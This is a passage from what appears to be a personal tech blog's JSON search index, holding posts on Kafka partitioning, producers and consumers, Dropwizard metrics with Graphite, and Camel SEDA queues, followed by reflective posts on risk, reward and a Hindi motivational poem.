to handle the ordering while processing the messages in parallel?\n","permalink":"https://madhur.co.in/blog/2019/07/04/parallelism-ordering.html","summary":"\u003cp\u003eOne of the disadvantages of microservice event based architectures is that there is lot of parallel processing of a single entity across multiple modules.\nThere are many cases we want the parallelism but at the same time, want the messages to be processed in ordered manner.\u003c/p\u003e\n\u003cp\u003eThere are several design pattern to solve this problem:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eKafka solves this through \u003ca href=\"http://kafka.apache.org/090/documentation.html\"\u003epartitions\u003c/a\u003e. A topic can be split into partitions. Messages are guaranteed to be in order within a single partition. You can have multiple consumers consuming from each partition separately providing for scalability and ordering. This design assumes that each consumer is single threaded and processing the messages one after other. In practical, scenarios this is usually not the case.\u003c/p\u003e","title":"Parallelism and ordering"},{"content":"In any Java application deployed to monitoring, it is important to have proper monitoring / alerting infrastructure setup.\nApart from the infrastructure monitoring, it is essential to setup JVM metrics as well as application monitoring.\nWhen I say application monitoring, it means monitoring the business transactions such as no. of orders / transactions, successful orders, failed orders , user signups, email triggered etc.\nFor this, we have to emit events from our application. These are usually called business metrics.\nDropwizard metrics is one of the standard libraries out there which allows you to emit events.\nThe events can be sent to various data stores, most popular being Graphite and Influxdb\nThe most popular types of metrics are:\nMeters - A meter measures the rate of events over time. Also called as requests per second or TPS(transactions per second). Meters also track 1-, 5- and 15- minute moving averages, also called m1_rate , m5_rate and m15_rate. Meters have mark method to indicate the event.\nCounters - A counter is used to keep track of counts. For example pending jobs and total requests. Total requests etc. is usually a useless parameter but tools like graphite / influxdb can provide derivate function over the counters which can give us the additional functionality of meters using counters.\nTimer - A timer measures both the rate a particular piece of code is called and as well as the distribution of its duration. Usually if you are using timer, you don\u0026rsquo;t need meter or counter, since those functionalities are implemented by timer as well. A good practice is to have timer for your normal execution and counter/meter for exception scenarios, so that you can visualize no. of errors or rate of errors. A timer also provides, percentile times using variables p50, p75, p95, p98, p99 and standard deviation.\nWhen using Spring framework, Spring metrics provides tight integration with Dropwizard metrics\nIts important to note that metrics-spring is a different library from Spring metrics , which is part of Spring framework itself.\nThe below code demonstrates a simple way to bootstrap spring application for monitoring using Dropwizard metrics and metrics-spring\nbuildscript { ext { } repositories { mavenCentral() } dependencies { classpath \u0026#39;org.springframework.boot:spring-boot-gradle-plugin:1.5.16.RELEASE\u0026#39; } } group \u0026#39;metrics-example\u0026#39; version \u0026#39;1.0-SNAPSHOT\u0026#39; apply plugin: \u0026#39;java\u0026#39; apply plugin: \u0026#39;org.springframework.boot\u0026#39; sourceCompatibility = 1.8 repositories { mavenCentral() } dependencies { compile(\u0026#34;org.springframework.boot:spring-boot-starter-web\u0026#34;) compile \u0026#39;org.projectlombok:lombok:1.16.12\u0026#39; compile group: \u0026#39;io.dropwizard.metrics\u0026#39;, name: \u0026#39;metrics-core\u0026#39;, version: \u0026#39;4.1.0\u0026#39; compile group: \u0026#39;io.dropwizard.metrics\u0026#39;, name: \u0026#39;metrics-graphite\u0026#39;, version: \u0026#39;4.1.0\u0026#39; compile group: \u0026#39;com.ryantenney.metrics\u0026#39;, name: \u0026#39;metrics-spring\u0026#39;, version: \u0026#39;3.1.3\u0026#39; compile group: \u0026#39;com.codahale.metrics\u0026#39;, name: \u0026#39;metrics-jvm\u0026#39;, version: \u0026#39;3.0.2\u0026#39; testCompile group: \u0026#39;junit\u0026#39;, name: \u0026#39;junit\u0026#39;, version: \u0026#39;4.12\u0026#39; } package app; import com.codahale.metrics.ConsoleReporter; import com.codahale.metrics.Counter; import com.codahale.metrics.JmxReporter; import com.codahale.metrics.Meter; import com.codahale.metrics.MetricFilter; import com.codahale.metrics.MetricRegistry; import com.codahale.metrics.graphite.Graphite; import com.codahale.metrics.graphite.GraphiteReporter; import com.codahale.metrics.jvm.GarbageCollectorMetricSet; import com.codahale.metrics.jvm.MemoryUsageGaugeSet; import com.codahale.metrics.jvm.ThreadStatesGaugeSet; import com.ryantenney.metrics.spring.config.annotation.MetricsConfigurerAdapter; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Component; import javax.annotation.PostConstruct; import java.net.InetSocketAddress; import java.util.concurrent.TimeUnit; @Component public abstract class MetricsConfig extends MetricsConfigurerAdapter{ private final MetricRegistry metrics = new MetricRegistry(); Meter publishMeter = metrics.meter(\u0026#34;publish.meter\u0026#34;); Counter publishCounter = metrics.counter(\u0026#34;publish.counter\u0026#34;); @Value(\u0026#34;${graphite.host}\u0026#34;) private String graphiteHost; @Value(\u0026#34;${graphite.port}\u0026#34;) private int graphitePort; @Value(\u0026#34;${graphite.amount.of.time.between.polls}\u0026#34;) private long graphiteAmountOfTimeBetweenPolls; private String graphitePrefix; @PostConstruct public void run() { ConsoleReporter reporter = ConsoleReporter.forRegistry(metrics) .convertRatesTo(TimeUnit.SECONDS) .convertDurationsTo(TimeUnit.MILLISECONDS) .build(); reporter.start(1, TimeUnit.SECONDS); } abstract protected void configureReporters(); protected void configureReporters(String graphitePrefix) { this.graphitePrefix = graphitePrefix; configureReporters(metrics); } @Override public void configureReporters(MetricRegistry metricRegistry) { registerReporter(JmxReporter.forRegistry(metricRegistry) .build()).start(); GraphiteReporter graphiteReporter = getGraphiteReporterBuilder(metricRegistry) .build(getGraphite()); registerReporter(graphiteReporter); graphiteReporter.start(graphiteAmountOfTimeBetweenPolls, TimeUnit.MILLISECONDS); } private GraphiteReporter.Builder getGraphiteReporterBuilder(MetricRegistry metricRegistry) { metricRegistry.register(\u0026#34;gc\u0026#34;, new GarbageCollectorMetricSet()); metricRegistry.register(\u0026#34;memory\u0026#34;, new MemoryUsageGaugeSet()); metricRegistry.register(\u0026#34;threads\u0026#34;, new ThreadStatesGaugeSet()); return GraphiteReporter.forRegistry(metricRegistry) .convertRatesTo(TimeUnit.SECONDS) .convertDurationsTo(TimeUnit.MILLISECONDS) .filter(MetricFilter.ALL) .prefixedWith(graphitePrefix); } private Graphite getGraphite() { return new Graphite(new InetSocketAddress(graphiteHost, graphitePort)); } } package app; import org.springframework.stereotype.Component; import javax.annotation.PostConstruct; @Component public class ProdMetricsConfig extends MetricsConfig { private static final String GRAPHITE_PREFIX = \u0026#34;collectd/graphite-monitoring-example/production\u0026#34;; @Override protected void configureReporters() { configureReporters(GRAPHITE_PREFIX); } @PostConstruct() public void init() { configureReporters(); } } Here is an example of dashboard visualized in Grafana\nThe above complete project is available on my github repository\nThe repo contains a dockerized spring boot application, grafana and a graphite instance.\nAssuming you have docker installed, just execute below commands to get the project up and running.\n./gradlew build docker build -t metrics-example . docker-compose up -d Use http://localhost:3000 to browse the grafana portal and setup your dashboards.\nDo let me know if you have any suggestions / feedback\n","permalink":"https://madhur.co.in/blog/2019/06/29/java-monitoring.html","summary":"\u003cp\u003eIn any Java application deployed to monitoring, it is important to have proper monitoring / alerting infrastructure setup.\u003c/p\u003e\n\u003cp\u003eApart from the infrastructure monitoring, it is essential to setup JVM metrics as well as application monitoring.\u003c/p\u003e\n\u003cp\u003eWhen I say application monitoring, it means monitoring the business transactions such as no. of orders / transactions, successful orders, failed orders , user signups, email triggered etc.\u003c/p\u003e\n\u003cp\u003eFor this, we have to emit events from our application. These are usually called business metrics.\u003c/p\u003e","title":"Setting up Java project for monitoring"},{"content":"I have been recently working on lot of high throughput kafka producers. Our application publishes close to 3 million kafka publishes per day. (which is still low compared to what kafka can handle)\nThere are some of the learnings along the way in maintaining such kafka producers:\nChoose the number of partitions wisely: The number of partitions determine how much consumers can scale. Number of partitions is degree of parallelism in kafka. Kafka gives a single partition\u0026rsquo;s data to single thread. Our general thumb rule is to have partitions equal to number of consumer servers. For example, if we have cluster of 20 servers consuming from kafka topic, each server will be consuming from single partition so 20 partitions.\nThere are many other factors to be considered as explained here\nDecide a consistent key while publishing - Messages published with the same key will be published to a single partition. A partition is logic unit of ordering of messages. So if ordering of messages is important to you, you should choose a consistent key for those messages.\nUse power of asynchronous - Kafka producer is by default asynchronous unless you use a blocking call explicitly. That means that kafka publish can fail and your code would have moved past the publish method already. Kafka producer provides a callback once the server has executed the publish instruction. In this callback, the user can check for failure and retry the option or send to a dead letter queue etc. Kafka producer itself retries for 3 times but I believe that is too less and not enough for data critical applications.\nBelow is the sample snippet of such producer\n@Autowired @Qualifier(\u0026#34;createKafkaSslProducerOrder\u0026#34;) Producer kafkaSslProducer; public void publish(String messageKey, String payload, String topic) { try { ProducerRecord record = new ProducerRecord\u0026lt;\u0026gt;(topic, messageKey, payload); kafkaSslProducer.send(record, (metadata, exception) -\u0026gt; { if (Optional.ofNullable(exception).isPresent()) { log.error(\u0026#34;op={}, status=KO, desc={} and exception={}\u0026#34;, new Object[] { \u0026#34;KafkaProducer\u0026#34;, \u0026#34;Error posting message to kafka topic: \u0026#34; + topic, exception.getMessage() }); // Send for re-processing } }); } catch (Exception ex) { log.error(\u0026#34;op={}, status=KO, desc=Error posting message to SSL kafka: {}, stackTrace={} \u0026#34;, LOG_OP_INFO, ex.getMessage(), ex); // Re-throw the exception so that status can be recorded in the database. } } In case of kafka messages, it is useful to provide a complete publish timestamp and original modify timestamp of the message (such as db record). Using these timestamps, client can determine if the incoming message is stale or a new update.\nInitially, during development, it is very useful to store the partition and offset of the consumed messages. This can be stored in the consumer data store or application logs. Using this information, the message can be directly looked up in kafka to see the original message.\n","permalink":"https://madhur.co.in/blog/2019/06/17/highthroughputkafka.html","summary":"\u003cp\u003eI have been recently working on lot of high throughput kafka producers. Our application publishes close to 3 million kafka publishes per day. (which is still low compared to what kafka can handle)\u003c/p\u003e\n\u003cp\u003eThere are some of the learnings along the way in maintaining such kafka producers:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eChoose the number of partitions wisely: The number of partitions determine how much consumers can scale. Number of partitions is degree of parallelism in kafka. Kafka gives a single partition\u0026rsquo;s data to single thread.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eOur general thumb rule is to have partitions equal to number of consumer servers. For example, if we have cluster of 20 servers consuming from kafka topic, each server will be consuming from single partition so 20 partitions.\u003c/p\u003e","title":"Considerations for high throughput kafka producer"},{"content":"I have been exploring on the best ways to consume from Kafka topic in Java. There are several ways:\n1 The simplest way is using KafkaListener\n@Slf4j @Component public class ExampleConsumer { @KafkaListener(id = \u0026#34;fooGroup\u0026#34;, topics = \u0026#34;Topic2\u0026#34;) public void listen(String in) { log.info(\u0026#34;Received: \u0026#34; + in); if (in.startsWith(\u0026#34;foo\u0026#34;)) { throw new RuntimeException(\u0026#34;failed\u0026#34;); } } } 2 The second way is to use Apache Camel . Using Apache camel is useful if you have lot of filtering logic to be applied on incoming messages and also output the processed messages onto another topic or stream.\n@Component public class CamelListener extends RouteBuilder { @Autowired private KafkaConsumerProperties kafkaConsumerProperties; @Override public void configure() throws Exception { from(kafkaConsumerProperties.kafkaUri()).process(exchange -\u0026gt; { String payload = exchange.getIn().getBody(String.class); System.out.println(\u0026#34;Camel consumer: \u0026#34; + payload); }).end(); } } 3 The final and my preferred way is to use Kafka Streams\n@Service @Slf4j public class KafkaStreamConsumer { @Autowired private KafkaConsumerProperties kafkaConsumerProperties; @Autowired private KafkaOrderFeedProcessor kafkaOrderFeedProcessor; private String topic; @PostConstruct public void processKafkaConsumer() { Properties properties = kafkaConsumerProperties.getConsumerProperties(); KafkaStreams kafkaStreams = null; try { StreamsBuilder builder = new StreamsBuilder(); KStream\u0026lt;String, String\u0026gt; kStream = builder.stream(topic); kStream.process(kafkaOrderFeedProcessor, new String[0]); kafkaStreams = new KafkaStreams(builder.build(), properties); kafkaStreams.start(); log.info(\u0026#34;op={}, status=OK, desc={}\u0026#34;, \u0026#34;KafkaConsumer\u0026#34;, \u0026#34;kafka consumer stream started successfully\u0026#34;); } catch (Exception var9) { log.error(\u0026#34;op={}, status=KO, desc={} and exception={}\u0026#34;, new Object[]{\u0026#34;KafkaConsumer\u0026#34;, \u0026#34;exception while starting kafka consumer stream\u0026#34;, var9.getMessage()}); if (kafkaStreams != null) { kafkaStreams.close(); } } } } There are various advantages of using Kafka\u0026rsquo;s Streams API.\nKafka\u0026rsquo;s Streams API (https://kafka.apache.org/documentation/streams/) is built on top of Kafka\u0026rsquo;s producer and consumer clients. It\u0026rsquo;s significantly more powerful and also more expressive than the Kafka consumer client. Here are some of the features of the Kafka Streams API:\nsupports exactly-once processing semantics (Kafka versions 0.11+) supports fault-tolerant stateful processing including streaming joins, aggregations, and windowing supports event-time processing as well as processing based on processing-time and ingestion-time has first-class support for both streams and tables, which is where stream processing meets databases; in practice, most stream processing applications need both streams AND tables for implementing their respective use cases, so if a stream processing technology lacks either of the two abstractions (say, no support for tables) you are either stuck or must manually implement this functionality yourself (good luck with that\u0026hellip;) supports interactive queries to expose the latest processing results to other applications and services) more expressive: it ships with (1) a functional programming style DSL with operations such as map, filter, reduce as well as (2) an imperative style Processor API for e.g. doing complex event processing (CEP), and (3) you can even combine the DSL and the Processor API. ","permalink":"https://madhur.co.in/blog/2019/06/15/consumingkafka.html","summary":"\u003cp\u003eI have been exploring on the best ways to consume from Kafka topic in Java. There are several ways:\u003c/p\u003e\n\u003cp\u003e1 The simplest way is using \u003ccode\u003eKafkaListener\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nd\"\u003e@Slf4j\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nd\"\u003e@Component\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eExampleConsumer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nd\"\u003e@KafkaListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;fooGroup\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etopics\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Topic2\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003elisten\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ein\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003einfo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Received: \u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ein\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ein\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003estartsWith\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;foo\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRuntimeException\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;failed\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e2 The second way is to use \u003ca href=\"https://camel.apache.org/\"\u003eApache Camel\u003c/a\u003e . Using Apache camel is useful if you have lot of filtering logic to be applied on incoming messages and also output the processed messages onto another topic or stream.\u003c/p\u003e","title":"Consuming from Kafka"},{"content":"Came across this blog post and find it very intriguing.\nLesson #2: Reversion to the mean occurs because people persuasive enough to make something grow don’t have the kind of personalities that allow them to stop before pushing too far.\nWhat kind of person makes their way to the top of a successful company, or a big country?\nSomeone who is determined, optimistic, doesn’t take “no” for an answer, and is relentlessly confident in their own abilities.\nWhat kind of person is likely to go overboard, bite off more than they can chew, and discount risks that are blindingly obvious to others?\nSomeone who is determined, optimistic, doesn’t take “no” for an answer, and is relentlessly confident in their own abilities.\nReversion to the mean is one of the most common stories in history. It’s the main character in economies, markets, countries, companies, careers – everything.\nPart of the reason it happens is because the same personality traits that push people to the top also increase the odds of pushing them over the edge.\nThis is true for countries, particularly empires. A country determined to expand by acquiring more land is unlikely to be run a person capable of saying, “OK, that’s enough. Let’s be thankful for what we have and stop invading other countries.” They’ll keep pushing until they meet their match (usually Russia).\nIt’s true for companies. The kind of corporate culture that lets companies dominate an industry is not friendly to people who say, “I think we’ve grown too fast. Maybe we should scale back.” They’ll keep pushing until they’re forced to make painful cuts.\nIt’s true for investors. The kind of personality willing to take enough risks to earn outsized returns is generally not compatible with the kind of personality willing to shift everything into muni bonds once they’ve made enough money. They’ll keep taking risks until those risks backfire. It’s why the Forbes list of billionaires has 60% turnover per decade.\nLong-term success in any endeavor requires two tasks: Getting something, and keeping it. Getting rich and staying rich. Getting market share and keeping market share.\nThese things are not only separate tasks, but often require contradictory skills. Getting something often requires risk-taking and confidence. Keeping it often requires room for error and paranoia. Sometimes a person masters both skills – Warren Buffett is a good example. But it’s rare. Far more common is big success occurring because a person had a set of traits that also come at the direct cost of keeping their success. Which is why downside reversion to the mean is such a repeating theme in history.\n","permalink":"https://madhur.co.in/blog/2019/06/15/lessonsfromhistory.html","summary":"\u003cp\u003eCame across this \u003ca href=\"https://www.collaborativefund.com/blog/five-lessons-from-history/\"\u003eblog post\u003c/a\u003e and find it very intriguing.\u003c/p\u003e\n\u003cp\u003eLesson #2: Reversion to the mean occurs because people persuasive enough to make something grow don’t have the kind of personalities that allow them to stop before pushing too far.\u003c/p\u003e\n\u003cp\u003eWhat kind of person makes their way to the top of a successful company, or a big country?\u003c/p\u003e\n\u003cp\u003eSomeone who is determined, optimistic, doesn’t take “no” for an answer, and is relentlessly confident in their own abilities.\u003c/p\u003e","title":"Lessons from History"},{"content":"The staged event-driven architecture (SEDA) refers to an approach to software architecture that decomposes a complex, event-driven application into a set of stages connected by queues. It avoids the high overhead associated with thread-based concurrency models (i.e. locking, unlocking, and polling for locks), and decouples event and thread scheduling from application logic.\nFor Java platform, Apache Camel provides support for SEDA component\nThese are some of the important properties of SEDA:\nsize: Size of the queue. By default, its unbounded\nconcurrentconsumers: By default only one thread will be consuming from the queue\nblockWhenFull : If the queue is full, the thread can be blocked. By default, an exception is thrown. In most scenario, you would want the thread to block.\nNow, onto some code:\nBelow is an example of simple producer component:\n@SpringBootApplication @RestController @Slf4j @ComponentScan() public class SedaApplication { public static void main(String[] args) { SpringApplication.run(SedaApplication.class, args); } @Autowired private ProducerTemplate producerTemplate; @Autowired private CamelContext camelContext; @RequestMapping(\u0026#34;/send/{message}\u0026#34;) public String sendMessage(@PathVariable String message) throws Exception { producerTemplate.sendBody(\u0026#34;seda:start?size=10\u0026amp;blockWhenFull=false\u0026#34;, message); System.out.println(\u0026#34;Producing message: \u0026#34; + message); SedaEndpoint sedaEndpoint = (SedaEndpoint) camelContext.getEndpoint(\u0026#34;seda:start\u0026#34;); System.out.println(\u0026#34;Remaining capacity : \u0026#34; + sedaEndpoint.getQueue().remainingCapacity()); return \u0026#34;\u0026#34;; } } And the consumer:\n@Component @Slf4j public class TestRouter extends RouteBuilder { @Override public void configure() throws Exception { from(\u0026#34;seda:start?size=10\u0026#34;).process(exchange -\u0026gt; { System.out.println(\u0026#34;Consumed message: \u0026#34; + exchange.getIn().getBody()); }).end(); } } Here is the link to complete github repository\n","permalink":"https://madhur.co.in/blog/2019/06/09/stagedevents.html","summary":"\u003cp\u003eThe \u003ca href=\"https://en.wikipedia.org/wiki/Staged_event-driven_architecture\"\u003estaged event-driven architecture (SEDA)\u003c/a\u003e refers to an approach to software architecture that decomposes a complex, event-driven application into a set of stages connected by queues. It avoids the high overhead associated with thread-based concurrency models (i.e. locking, unlocking, and polling for locks), and decouples event and thread scheduling from application logic.\u003c/p\u003e\n\u003cp\u003eFor Java platform, \u003ca href=\"http://camel.apache.org/\"\u003eApache Camel\u003c/a\u003e provides support for \u003ca href=\"https://camel.apache.org/seda.html\"\u003eSEDA component\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThese are some of the important properties of SEDA:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003esize\u003c/code\u003e: Size of the queue. By default, its unbounded\u003c/p\u003e","title":"Using SEDA"},{"content":"I can\u0026rsquo;t stop thinking of life as a game of risk and reward. Achieving anything great in life requires substantial risk whether fame, money or success.\nMany sportsman who excel in their field risk considerable physical injuries to attain that level of wealth, fame and success. Many people believe that becoming a sportsperson is a path to becoming rich. Its highly untrue. Unless one reaches the pinnacle i.e. international level (which by no means is a small feat), don\u0026rsquo;t even dream of becoming rich by playing state or even national level sports. National level sportsman are payed far below their international counterparts. It is also worth noting that a sportsperson might play at max 10-15 yrs before taking retirement. Hence their earning potential is maximized in this period.\nMoving away from sports, What about entrepreneurs who run companies? What\u0026rsquo;s their risk? Just like sportsperson carry physical injuries, entrepreneurship risk mental injuries. This might be a surprise for many, but its the unsaid truth of entrepreneurship known between fellow entrepreneurs only. Check out the following articles:\nThe Psychological Price of Entrepreneurship\nWhy so many entrepreneurs struggle with mental illness\nThere’s a Hidden Dark Side to Being an Entrepreneur — It Can Wreak Havoc on Your Mental Health\nElon Musk gets personal about his \u0026rsquo;terrible lows\u0026rsquo; and \u0026lsquo;unrelenting stress\u0026rsquo;\nNot just that, 90% of startups end up in failure, that means earning potential during that period is lost for an entrepreneur.\nSo, the next time you are thinking of achieving great success without paying any price or taking any big risk. You can very well stop right there. When setting life goals for yourself, it is better to self-ask, how much of risk and pain you are willing to struggle for?\nDon\u0026rsquo;t believe in luck or born intelligence. Everything can be learnt through practice hard work.\nThe high performers are also the same. They will never be satisfied with the average. They will do everything in their capacity such as learn, re-skill themselves, practice hard to outperform others.\nPS: Exceptions are always there.\n","permalink":"https://madhur.co.in/blog/2018/04/18/liferiskreward.html","summary":"\u003cp\u003eI can\u0026rsquo;t stop thinking of life as a game of risk and reward. Achieving anything great in life requires substantial risk whether fame, money or success.\u003c/p\u003e\n\u003cp\u003eMany sportsman who excel in their field risk considerable physical injuries to attain that level of wealth, fame and success. Many people believe that becoming a sportsperson is a path to becoming rich. Its highly untrue. Unless one reaches the pinnacle i.e. international level (which by no means is a small feat), don\u0026rsquo;t even dream of becoming rich by playing state or even national level sports. National level sportsman are payed far below their international counterparts. It is also worth noting that a sportsperson might play at max 10-15 yrs before taking retirement. Hence their earning potential is maximized in this period.\u003c/p\u003e","title":"Life is a game of risk and reward"},{"content":"Here is another piece of poetry by Harivansh Rai Bachchan which was shared in our group sometime back. At that time, I ignored it as just useless trifle. Looking back I realize how true and motivating it is.\nलहरों से डर कर नौका पार नहीं होती, कोशिश करने वालों की कभी हार नहीं होती। नन्हीं चींटी जब दाना लेकर चलती है, चढ़ती दीवारों पर, सौ बार फिसलती है। मन का विश्वास रगों में साहस भरता है, चढ़कर गिरना, गिरकर चढ़ना न अखरता है। आख़िर उसकी मेहनत बेकार नहीं होती, कोशिश करने वालों की कभी हार नहीं होती। डुबकियां सिंधु में गोताखोर लगाता है, जा जा कर खाली हाथ लौटकर आता है। मिलते नहीं सहज ही मोती गहरे पानी में, बढ़ता दुगना उत्साह इसी हैरानी में। मुट्ठी उसकी खाली हर बार नहीं होती, कोशिश करने वालों की कभी हार नहीं होती। असफलता एक चुनौती है, इसे स्वीकार करो, क्या कमी रह गई, देखो और सुधार करो। जब तक न सफल हो, नींद चैन को त्यागो तुम, संघर्ष का मैदान छोड़ कर मत भागो तुम। कुछ किये बिना ही जय जय कार नहीं होती, कोशिश करने वालों की कभी हार नहीं होती। If this was not enough, here is a recent tweet by Ray Dalio\nIt’s important to understand the difference between \u0026ldquo;you had a failure\u0026rdquo; and \u0026ldquo;you are a failure.\u0026rdquo; People who think they are a failure because they had a failure will fail.\n","permalink":"https://madhur.co.in/blog/2018/04/07/koshish.html","summary":"\u003cp\u003eHere is another piece of poetry by \u003ca href=\"https://en.wikipedia.org/wiki/Harivansh_Rai_Bachchan\"\u003eHarivansh Rai Bachchan\u003c/a\u003e which was shared in our group sometime back. At that time,  I ignored it as just useless trifle. Looking back I realize how true and motivating it is.\u003c/p\u003e\n\u003cpre style=\"font-size:16px\"\u003e\nलहरों से डर कर नौका पार नहीं होती,\nकोशिश करने वालों की कभी हार नहीं होती।\n\nनन्हीं चींटी जब दाना लेकर चलती है,\nचढ़ती दीवारों पर, सौ बार फिसलती है।\nमन का विश्वास रगों में साहस भरता है,\nचढ़कर गिरना, गिरकर चढ़ना न अखरता है।\nआख़िर उसकी मेहनत बेकार नहीं होती,\nकोशिश करने वालों की कभी हार नहीं होती।\n\nडुबकियां सिंधु में गोताखोर लगाता है,\nजा जा कर खाली हाथ लौटकर आता है।\nमिलते नहीं सहज ही मोती गहरे पानी में,\nबढ़ता दुगना उत्साह इसी हैरानी में।\nमुट्ठी उसकी खाली हर बार नहीं होती,\nकोशिश करने वालों की कभी हार नहीं होती।\n\nअसफलता एक चुनौती है, इसे स्वीकार करो,\nक्या कमी रह गई, देखो और सुधार करो।\nजब तक न सफल हो, नींद चैन को त्यागो तुम,\nसंघर्ष का मैदान छोड़ कर मत भागो तुम।\nकुछ किये बिना ही जय जय कार नहीं होती,\nकोशिश करने वालों की 